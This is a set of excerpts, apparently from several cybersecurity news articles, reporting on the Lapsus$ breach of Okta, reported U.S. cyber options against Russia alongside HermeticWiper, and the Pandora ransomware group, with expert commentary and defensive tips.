In an updated [statement](<https://www.okta.com/blog/2022/03/updated-okta-statement-on-lapsus/>) that, within hours, Lapsus$ [dismisse](<https://twitter.com/BillDemirkapi/status/1506339927935569928/photo/1>)d. Demirkapi [tweeted](<https://twitter.com/BillDemirkapi/status/1506339927935569928>) the group\u2019s slap-back:\n\n> The LAPSUS$ ransomware group has issued the following response to Okta's statement. [pic.twitter.com/D6KYQjnKPU](<https://t.co/D6KYQjnKPU>)\n> \n> \u2014 Bill Demirkapi (@BillDemirkapi) [March 22, 2022](<https://twitter.com/BillDemirkapi/status/1506339927935569928?ref_src=twsrc%5Etfw>)\n\nAmong other things, Lapsus$ scorned Bradbury\u2019s description of the group having breached an engineer\u2019s laptop in the January attempt (it was a thin client, the gang said). The gang also laughed at Bradbury\u2019s claim that the January attempt to access an engineer\u2019s account was unsuccessful (\u201cI\u2019m STILL unsure of how its an unsuccessful attempt? Logged in to superuser portal with the ability to reset the Password and MFA of ~95% of clients isn\u2019t successful?\u201d).\n\nLapsus$ also said that \u201cthe potential impact to Okta customers is NOT limited. I\u2019m pretty sure that resetting passwords and MFA would result in complete compromise of many clients systems.\u201d\n\nOkta hadn\u2019t responded to Threatpost\u2019s request to comment on Lapsus$ claims by the time this article posted.\n\n## The Many Notches on Lapsus$\u2019 Belt\n\nThe Lapsus$ group has pulled off a mounting pile of high-profile attacks. In December, it [attacked](<https://www.zdnet.com/article/brazilian-ministry-of-health-suffers-cyberattack-and-covid-19-vaccination-data-vanishes/>) the Brazil Ministry of Health, taking down several online entities, successfully wiping out information on citizens\u2019 COVID-19 vaccination data as well as disrupting the system that issues digital vaccination certificates.\n\nMore recently, Lapsus$ [crippled](<https://threatpost.com/portuguese-media-giant-impresa-ransomware/177323/>) the Portuguese media giant Impresa; [attacked](<https://threatpost.com/nvidias-stolen-code-signing-certs-sign-malware/178784/>) Nvidia, making off with code-signing certificates then used to sign malware and thus enabling malicious programs to slide past security safeguards on Windows machines; released a purportedly [massive dump](<https://betanews.com/2022/03/06/lapsus-hackers-leak-samsung-source-code-and-massive-data-dump-from-security-breach/>) of proprietary source code [stolen](<https://threatpost.com/samsung-lapsus-ransomware-source-code/178791/>) from Samsung; and [attacked](<https://www.acronis.com/en-us/cyber-protection-center/posts/ubisoft-hit-by-lapsus-ransomware/>) Assassin\u2019s Creed video game developer Ubisoft.\n\nOn Monday, the group also claimed to have breached the electronics giant LGE, according to [Security Week](<https://www.securityweek.com/microsoft-okta-investigating-data-theft-claims>).\n\n## Lapsus$ Is a \u2018Wild Card\u2019\n\nDrew Schmitt, Lapsus$ ransomware expert and principal threat intelligence analyst at cybersecurity firm GuidePoint Security, has interacted directly with the group through his years of ransomware negotiations and threat intelligence work.\n\nHe told Threatpost on Tuesday that the group is a \u201cwild card\u201d in that \u201cthey do not perform encryption of files or data for extortion purposes, rather they target and exfiltrate sensitive data and use that for the primary extortion effort.\u201d\n\nThat sets Lapsus$ from the traditional ransomware approach used by groups such as Conti, Lockbit and others he said. Another deviation from traditional ransomware groups is their use of Telegram for communication and extortion purposes versus the use of a leak site hosted using a TOR service, he noted. As well, their initial access to targeted organizations is unorthodox, he said, referring to the March 11 recruiting message for rogue insiders.\n\nLapsus$ apparently operates on its own, without ties to other cybercriminal/ransomware syndicates or nation-state sponsorship, Schmitt said. That could change, though, as analysis continues, he said: \u201cAs this group has gained a lot of notoriety in the past few weeks, it is possible that we will learn new intelligence that indicates connections to other known groups and syndicates.\u201d\n\nSchmitt said that Lapsus$ is changing the ransomware game with its non-traditional approaches to initial access, its move away from file encryption, and its deviation from the traditional leak site infrastructure. These are changes that could be adopted by more traditional ransomware groups, he predicted.\n\n## Not Just the New Kid on the Block\n\nThe Lapsus$ group\u2019s move on Okta makes it clear that these guys are more than simply the new kid on the block, according to security experts.\n\nDave Stapleton, a former government security analyst and current CISO of third-party risk management company CyberGRX, thinks that Lapsus$ is looking to increase its notoriety \u2013 all the better to recruit insiders willing to sell remote access to major technology corporations. Yet another far-reaching supply-chain attack could also be in its sites, he told Threatpost on Tuesday.\n\n\u201cWhile details are scarce at the moment, it is clear that this threat actor is working hard to make a name for themselves,\u201d Stapleton said via email. \u201cContinuing to increase their notoriety and standing will support their recruitment of insiders who are willing to sell remote access to major technology corporations and ISPs. With this latest move against Okta, the Lapsus$ group is essentially advertising to potential recruits how they operate.\u201d\n\nGiven that Okta is \u201ca crucial identity provider for organizations around the world,\u201d Stapleton fears another in the string of [supply-chain attacks](<https://threatpost.com/supply-chain-security-predicament/178166/>) that have struck the likes of [Toyota](<https://threatpost.com/bridgestone-hit-as-ransomware-torches-toyota-supply-chain/178998/>), et al. \u201cI\u2019m sure [Okta\u2019s] customers will be watching closely. The threat of another far-reaching supply chain attack certainly has my attention,\u201d he said.\n\nKevin Novak, managing director of Breakwater Solutions, suspects that the scope of Okta\u2019s backend breach is likely limited. Otherwise, given Okta\u2019s massive customer base, we\u2019d likely know it by now. \u201cWhile some have made conjectures about whether this hack contributed to another breach here or there, it would seem that a full compromise of Okta\u2019s backend would have become far more obvious by now, but we\u2019ll see more over the next few months,\u201d he said.\n\n\u201cIf \u2026 the compromise involved a successful assault on client information, such as client credentialing, key materials, or source code pertaining to environments that may lead to client compromises, then Okta may suffer much greater scrutiny from the field for its lack of adequate, timely notification of the event,\u201d Novak noted.\n\n## What to Do Now\n\nThe Okta breach is still developing. Still, there are steps organizations can take now to secure their employees and networks. Jon Hencinski, director of global operations at Expel, told Threatpost that precautionary actions to take immediately include rotating privileged Okta passwords and Okta-generated tokens and reviewing Okta admin authentications and activity for the past four months.\n\nHe provided these other tips:\n\n * Review configuration changes to ensure they align with expected activities and sources.\n * Review admin authentications and ensure they originate from expected sources based on the source user.\n * Identify any Okta accounts where MFA was disabled during the same time period and determine the user and root cause of that disablement, then re-enable MFA for those accounts.\n * Throughout this process, communicate transparently what you\u2019re doing and have done with your internal and external stakeholders.\n * This is also an opportunity to stress-test your incident response plan (IRP). And if you don\u2019t have an IRP \u2014 create one, then test it and test it again.\n\n\u201cFortune favors the prepared,\u201d Hencinski said.\n\n032222 19:14 UPDATE: Added response from Microsoft.

[presented](<https://www.nbcnews.com/politics/national-security/biden-presented-options-massive-cyberattacks-russia-rcna17558>) with an arsenal of ways to launch massive cyberattacks against Russia \u2013 attacks designed to disrupt the country\u2019s ability to sustain its military operations in Ukraine.\n\nNBC News on Thursday reported that the options included \u201cdisrupting internet connectivity across[ Russia](<https://www.nbcnews.com/news/world/russia-launches-attacks-key-ukrainian-cities-rcna17482>), shutting off electric power, and tampering with railroad switches to hamper Russia\u2019s ability to resupply its forces.\u201d\n\nRussia\u2019s military forces have been deployed in a \u200bfull-scale [attack](<https://www.washingtonpost.com/world/2022/02/24/russia-ukraine-attack-news/>) against Ukraine.\n\nWithin hours of the report, press secretary Jen Psaki said in a[ tweet](<https://twitter.com/PressSec/status/1496919281535111211>) that NBC got it wrong: \u201cThis report on cyber options being presented to[ @POTUS](<https://twitter.com/POTUS>) is off base and does not reflect what is actually being discussed in any shape or form,\u201d she said.\n\n> This report on cyber options being presented to [@POTUS](<https://twitter.com/POTUS?ref_src=twsrc%5Etfw>) is off base and does not reflect what is actually being discussed in any shape or form.\n> \n> \u2014 Jen Psaki (@PressSec) [February 24, 2022](<https://twitter.com/PressSec/status/1496919281535111211?ref_src=twsrc%5Etfw>)\n\nThe outlet\u2019s sources \u2013 \u201ctwo U.S. intelligence officials, one Western intelligence official and another person briefed on the matter\u201d \u2013 told NBC that no final decisions had been made as of earlier on Thursday.\n\nOne of those sources said the possibilities range from the aggravating to the destructive: \u201cYou could do everything from slow the trains down to have them fall off the tracks,\u201d said the source, who\u2019d been briefed on the matter.\n\nBut that source also said that most of the potential measures on the slate of possible cyberattacks (a slate that, again, press secretary Psaki said was inaccurate) wouldn\u2019t be destructive but would, rather, be designed to be disruptive, hence falling short of an act of war by the United States against Russia, according to NBC.\n\n## Would the U.S. Be Prepared for Retaliation?\n\nNBC\u2019s sources said that the purported slate of cyberattack options were allegedly presented irrespective of the likelihood that Russia would retaliate.\n\nAnd retaliate it would, cybersecurity experts predicted, whether in response to sanctions, to any arms/material support the United States may choose to send to the Ukrainian resistance, or to whatever cyberattacks the country might launch.\n\nMark Moses, director of client engagement at application security provider nVisium, told Threatpost via email on Thursday that Russian cyberattacks against critical U.S. infrastructure and economic assets \u201cwill escalate rapidly if the United States takes a real stance against the annexation of Ukraine to Russia.\u201d\n\nIn fact, government outfits and key businesses should already be bolstering defenses and ensuring that redundant systems are in place, he said, as defense against state-level actors \u201cis at another level from defense against the average Internet threat actor.\u201d\n\nThere\u2019s already been a swirl of malicious cyber-action that\u2019s coincided with Russia\u2019s deployment of troops to Ukraine.\n\nOn Tuesday, a wave of distributed denial-of-service (DDoS) attacks [hit institutions](<https://threatpost.com/ukrainian-ddos-attacks-should-put-us-on-notice-researchers/178498/>) central to Ukraine\u2019s government, military and economy, including banks.\n\nIn addition, Cybersecurity firms [ESET](<https://twitter.com/ESETresearch/status/1496581903205511181>) and Broadcom\u2019s [Symantec](<https://twitter.com/threatintel/status/1496578746014437376>) earlier this week reported that new data-wiping malware, dubbed [HermeticWiper](<https://twitter.com/juanandres_gs/status/1496581710368358400>), was discovered on hundreds of machines on Ukrainian networks.\n\nIn a Thursday [post](<https://www.digitalshadows.com/blog-and-research/russia-invades-ukraine-what-happens-next/>), the Digital Shadows Photon Research team noted that researchers found that in some cases the malware had been compiled in December 2021, \u201cindicating that the attack had been prepared in advance.\u201d [ Other research](<https://www.welivesecurity.com/2022/02/24/hermeticwiper-new-data-wiping-malware-hits-ukraine/>) identified that HermeticWiper was deployed directly from Windows domain controllers, indicating [it\u2019s] realistically possible that attackers may have had prolonged access prior to execution.\u201d\n\nHitesh Sheth, President and CEO at cybersecurity company Vectra, told Threatpost that it\u2019s \u201cimperative\u201d for the United States\u2019 organizations and government bodies to fortify defenses while the government considers offensive options. \u201cGoing on the offensive without the right technology to defend ourselves in cyber space would be bad strategy,\u201d he declared.\n\nJohn Hellickson, field CISO and executive advisor at cybersecurity advisory services provider Coalfire, agreed that retaliation by Russia could have \u201cdevastating\u201d impacts on essential services in the United States. He told Threatpost via email on Thursday that we\u2019ve still got a lot of work here at home to ensure that such retaliatory attacks could be sufficiently thwarted, \u201cas evidenced by very public ransomware and similar attacks of recent.\u201d\n\nHellickson preached caution: \u201cWe need to avoid crossing the line of such considerations as it\u2019s difficult to predict the impacts of a likely retaliation,\u201d he advised.\n\n## More to Come\n\nDigital Shadows is foretelling that Russia will launch yet more malicious cyber-action targeting Ukraine. Cyberattacks could extend beyond Ukraine, researchers predicted, with future attacks potentially affecting NATO and EU member states.\n\n\u201cThis has already been observed with HermeticWiper impacting networks in Latvia and Lithuania,\u201d Digital Shadows pointed out. The researchers compared the situation to the 2017 global [NotPetya](<https://threatpost.com/merck-insurance-payout-notpetya-attack/177872/>) attacks: attacks allegedly tied to Russian military intelligence.\n\n\u201cIt is also realistically possible that the financial services, energy, and oil & gas sectors in particular are under an increased risk from Russian aligned threat actors,\u201d Digital Shadows suggested. \u201cTargeting oil & gas in Europe, for example, could serve to cause concern among nation-states dependent on Russian energy.\u201d\n\n**_Moving to the cloud?

In February, [an attack on Toyota supplier Kojima Industries Corp](<https://threatpost.com/toyota-to-close-japan-plants-after-suspected-cyberattack/178686/>). forced the company to shut down its Japanese plants.\n\nThese incidents demonstrate the danger of attacks to the supply chain of multinational organizations, stressing the need to maintain and manage the same security at the principal company across all partners and business units, one security professional said.\n\n\u201cCybercriminals will always exploit the weakest link, and in today\u2019s interconnected networks can do significant damage from compromising even a small business unit,\u201d Chris Clements, vice president of solutions architecture at security firm [**Cerberus Sentinel**](<https://u7061146.ct.sendgrid.net/ls/click?upn=4tNED-2FM8iDZJQyQ53jATUc1h7F6EeKyqQHDAzxY6FeBG4AZ1lNaZ-2Fme9HKLAKT7PafO3_6bll2uIcECOBsx1gx1IC2zx-2FnKyCXka4AgKvEYqpnW0-2BDbBUicS42bKww9XV5LeOm8YSoCZbw6XkWDSfAMcb8IRiPIGKWMahkivu0WTh5PX5dG77IJVWKxIQtQJVv-2BIYMJWuG5OA4-2BOZVBWk67VVuirlpGqvvjOXpBF3L7YyXmgDicFNnin5X9cffMU5tz5sAvRLImOfXwTT9u9-2FFH7xzyri9Y9AhWFE2dmrkAU8E2kn12zI2BdfTSHHXU9lg6mTJmz7yfpOLHFgsLlFN24bpzc1Kk4Xrvjw-2BEXtWSMBRNfWVwwirbw4h3nPn3SgKzb5aH5KhjDKycPmCLx4O3XW8D7pUZQ0iU5KLwWJv0SpW-2FM-3D>), wrote in an email to Threatpost on Monday. \u201cIt\u2019s no longer enough for businesses to solely focus on their ability to prevent or recover from a ransomware attack as attackers now routinely steal mass quantities of data as part of their operations.\u201d\n\nIndeed, the data theft involved in double-extortion attacks can be even more dangerous than simply a traditional encryption-based ransomware attack due to the unpredictability of attackers once they get their hands on sensitive and proprietary information, he noted.\n\n\u201cThere is no way to verify that the attacker will actually delete the information instead of attempting to resell it on the dark web or simply release it publicly,\u201d Clements said.\n\n## **Emerging Ransomware Threat**\n\nThe Pandora group is relatively new on the ransomware scene, emerging earlier this month as a new player in the threat landscape that uses this dangerous method of double extortion to blackmail targets.\n\nPandora\u2019s designers have developed the ransomware to encrypt sensitive files to restrict access by appending the _.pandora_ extension to filenames to prevent victims from opening affected files, according [to research](<https://malwarewarrior.com/how-to-remove-pandora-ransomware/>) from Malware Warrior.\n\nSince Pandora is such a new threat, it\u2019s not yet known how cybercriminals breach corporate networks to infect systems with the ransomware. However, clues might be found in previously active ransomware groups and their methods, researchers said.\n\nOne security researcher with the Twitter handle pancak3 [believes](<https://twitter.com/pancak3lullz/status/1503201831303983108>) Pandora is a re-branding of [Rook](<https://www.sentinelone.com/labs/new-rook-ransomware-feeds-off-the-code-of-babuk/>) ransomware, which in turn borrows code from [Babuk ransomware](<https://threatpost.com/babuk-ransomware-washington-dc-police/165616/>). That [now-defunct ransomware-as-a-service (RaaS)](<https://threatpost.com/babuk-ransomware-gang-mulls-retirement/165742/>) group \u2013 which is likely selling its services for other cybercriminals to use \u2013 also used double extortion in its attacks during its heyday.\n\n**_Moving to the cloud?
